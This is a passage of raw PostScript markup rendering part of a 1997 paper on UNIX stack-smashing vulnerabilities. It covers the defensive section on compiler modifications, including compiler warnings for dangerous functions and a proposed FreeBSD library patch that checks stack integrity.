0.0000 1.0000 SET_CMYK GS n 4283 7364 M (terms ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4700 7364 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4885 7364 M (necessary ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5579 7364 M (manpower ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6328 7364 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6614 7364 M (workload ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7288 7364 M (but ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7088 M (can offer the most in long term reliability and security.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 6787 M (11.2 Compiler modifications) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 6504 M (An ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1950 6504 M (additional ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2657 6504 M (decentralized ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3587 6504 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4240 6504 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4412 6504 M (preventing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5166 6504 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5551 6504 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6223 6504 M (vulnerabilities ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7217 6504 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 6504 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6228 M (modify ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1732 6228 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1981 6228 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2138 6228 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2784 6228 M (c) ST -2 0 MR (o) ST -3 0 MR (m) ST -3 0 MR (p) ST -3 0 MR (i) ST -3 0 MR (l) ST -3 0 MR (e) ST -3 0 MR (r) ST -3 0 MR (') ST -3 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3517 6228 M (performance ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4406 6228 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4581 6228 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4701 6228 M (given ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5116 6228 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5578 6228 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6252 6228 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6761 6228 M (concerning ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5952 M (vulnerable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1957 5952 M (functions. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2704 5952 M (However, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3400 5952 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3536 5952 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3691 5952 M (important ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4382 5952 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4555 5952 M (note ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4885 5952 M (that, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5220 5952 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5393 5952 M (most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5761 5952 M (cases, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6199 5952 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6585 5952 M (modifications ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5676 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1389 5676 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1647 5676 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1813 5676 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2775 5676 M (language ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3430 5676 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3689 5676 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3956 5676 M (trivial ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4408 5676 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4703 5676 M (involve ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5256 5676 M (fundamental ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6143 5676 M (modifications ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7113 5676 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 5676 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5400 M (concepts behind the C programming language.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 5124 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1876 5124 M (simple ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2374 5124 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3038 5124 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3231 5124 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3525 5124 M (nature ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3995 5124 M (involves ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4612 5124 M (modifications ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5581 5124 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5764 5124 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6021 5124 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6186 5124 M (compiler, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6874 5124 M (which ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7334 5124 M (do ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4848 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1483 4848 M (affect ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1932 4848 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2204 4848 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2384 4848 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3360 4848 M (language. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4113 4848 M (For ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4414 4848 M (example, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5089 4848 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5361 4848 M (BSDI ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5810 4848 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6119 4848 M (OpenBSD ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6872 4848 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4572 M (s) ST -3 0 MR (y) ST -3 0 MR (s) ST -4 0 MR (t) ST -4 0 MR (e) ST -4 0 MR (m) ST -4 0 MR (s) ST -4 0 MR (' ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1856 4572 M (compilers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2611 4572 M (generate ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3273 4572 M (warning ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3916 4572 M (messages ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4644 4572 M (when ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5102 4572 M (compiling ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5874 4572 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6046 4572 M (program ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6709 4572 M (which ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7213 4572 M (uses ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4296 M (`) ST -4 0 MR (`) ST -4 0 MR (d) ST -4 0 MR (a) ST -4 0 MR (n) ST -4 0 MR (g) ST -4 0 MR (e) ST -4 0 MR (r) ST -4 0 MR (o) ST -5 0 MR (u) ST -5 0 MR (s) ST -5 0 MR (') ST -5 0 MR (' ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2101 4296 M (\(see ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 2412 4296 M (fig ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2629 4296 M (9.1.a) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 2962 4296 M (\) ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3060 4296 M (function ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3656 4296 M (calls. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4087 4296 M (Despite ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4637 4296 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4919 4296 M (shortcoming, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5835 4296 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6080 4296 M (main ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6455 4296 M (benefit ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6959 4296 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7140 4296 M (using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4020 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1415 4020 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2073 4020 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2426 4020 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2613 4020 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2901 4020 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3060 4020 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3357 4020 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3497 4020 M (encourages ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4294 4020 M (secure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4768 4020 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5723 4020 M (without ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6278 4020 M (changing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6935 4020 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7186 4020 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3744 M (or its performance.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3468 M (A ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1882 3468 M (median ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2427 3468 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3092 3468 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3286 3468 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3581 3468 M (nature ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4052 3468 M (involves ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4670 3468 M (slight ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5094 3468 M (modifications ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6064 3468 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6248 3468 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6506 3468 M (compiler, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7195 3468 M (such ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3192 M (as ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1402 3192 M (those ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1810 3192 M (proposed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2477 3192 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2700 3192 M (Alexandre ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3450 3192 M (Snarskii) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3996 3233 M (13) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4134 3192 M (, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4233 3192 M (which ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4696 3192 M (would ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5168 3192 M (modify ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5706 3192 M (only ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6058 3192 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6318 3192 M (`) ST -4 0 MR (`) ST -4 0 MR (d) ST -4 0 MR (a) ST -4 0 MR (n) ST -4 0 MR (g) ST -4 0 MR (e) ST -4 0 MR (r) ST -4 0 MR (o) ST -5 0 MR (u) ST -5 0 MR (s) ST -5 0 MR (') ST -5 0 MR (' ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7231 3192 M (\() ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 7287 3192 M (see ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2916 M (fig ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1428 2916 M (9.1.a\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1817 2916 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1863 2916 M (functions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2528 2916 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2703 2916 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2952 2916 M (C ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3109 2916 M (library ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3599 2916 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3885 2916 M (perform ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4469 2916 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4589 2916 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4977 2916 M (integrity ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5586 2916 M (check ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6020 2916 M (before ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6492 2916 M (referencing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 2916 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2640 M (appropriate ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2040 2640 M (return ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2515 2640 M (value. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3036 2640 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3252 2640 M (his ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3523 2640 M (proposed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4210 2640 M (patch ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4647 2640 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4853 2640 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5133 2640 M (FreeBSD ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5831 2640 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6536 2640 M (system, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7118 2640 M (if ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 2640 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2364 M (integrity ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1826 2364 M (check ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2265 2364 M (fails, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2645 2364 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2788 2364 M (would ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3254 2364 M (simply ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3758 2364 M (print ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4123 2364 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4248 2364 M (warning ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4844 2364 M (message ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5460 2364 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5751 2364 M (exit ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6051 2364 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6305 2364 M (affected ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6893 2364 M (program. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2088 M (The ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1556 2088 M (main ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1977 2088 M (disadvantage ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2933 2088 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3150 2088 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3478 2088 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4176 2088 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4375 2088 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4712 2088 M (all ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4966 2088 M (dangerous ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5738 2088 M (functions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6445 2088 M (would ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6948 2088 M (suffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7426 2088 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1812 M (significant ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1972 1812 M (performance ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2878 1812 M (penalty, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3472 1812 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3775 1812 M (like ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4087 1812 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4353 1812 M (previous ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4989 1812 M (approach, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5704 1812 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6007 1812 M (modification ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6920 1812 M (does ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7288 1812 M (not ) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 25 25 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 1426 M (14) 138 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1338 1385 M ( http://www-ala.doc.ic.ac.uk/~phjk/BoundsChecking.html) 3224 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1271 M (15) 138 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1338 1230 M ( ../../docs/ftp_/p_subdomain/dse.doc) 2013 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1644 M (_________________________) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 3718 3091 M 4896 3091 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 3723 3086 M 3723 2725 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 4892 3086 M 4892 2725 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS GS 3742 3072 4873 2855 DOCLIPBOX n 3742 3072 M 4872 3072 L 4872 2856 L 3742 2856 L 3742 3072 L 4872 3072 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont6p140000 SETFONT GS 3742 3072 4872 2856 DOCLIPBOX n 3786 2911 M (\() 65 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 3742 3072 4872 2856 DOCLIPBOX n 4191 2911 M (\)) 65 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 3742 3072 4872 2856 DOCLIPBOX n 4389 2915 M (\() 65 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 3742 3072 4872 2856 DOCLIPBOX n 4751 2915 M (\)) 65 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont6p180000 SETFONT GS 3742 3072 4872 2856 DOCLIPBOX n 3729 2904 M (\() 83 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 3742 3072 4872 2856 DOCLIPBOX n 4803 2904 M (\)) 83 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS 3742 3072 4872 2856 DOCLIPBOX n 3889 2919 M (p) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 3742 3072 4872 2856 DOCLIPBOX n 4457 2919 M (k) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont6p120000 SETFONT GS 3742 3072 4872 2856 DOCLIPBOX n 3984 2919 M (+) 92 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 3742 3072 4872 2856 DOCLIPBOX n 4277 2919 M (\264) 92 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 3742 3072 4872 2856 DOCLIPBOX n 4571 2919 M (+) 92 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS 3742 3072 4872 2856 DOCLIPBOX n 4106 2919 M (2) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 3742 3072 4872 2856 DOCLIPBOX n 4663 2919 M (1) ST GR GR GS 0 11000 32000 -21000 DOCLIPBOX n 3718 2719 M 4896 2719 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1200 9848 M (take ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1595 9848 M (into ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1967 9848 M (account ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2598 9848 M (autonomous ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3525 9848 M (functions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4258 9848 M (defined ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4871 9848 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5151 9848 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5468 9848 M (programmer, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6449 9848 M (because ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7090 9848 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7343 9848 M (its ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9572 M (implementation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2311 9572 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2499 9572 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2761 9572 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3283 9572 M (libraries. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3972 9572 M (An ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4234 9572 M (additional ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4957 9572 M (drawback ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5663 9572 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5851 9572 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6150 9572 M (approach ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6819 9572 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6989 9572 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 9572 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9296 M (code ) ST GR 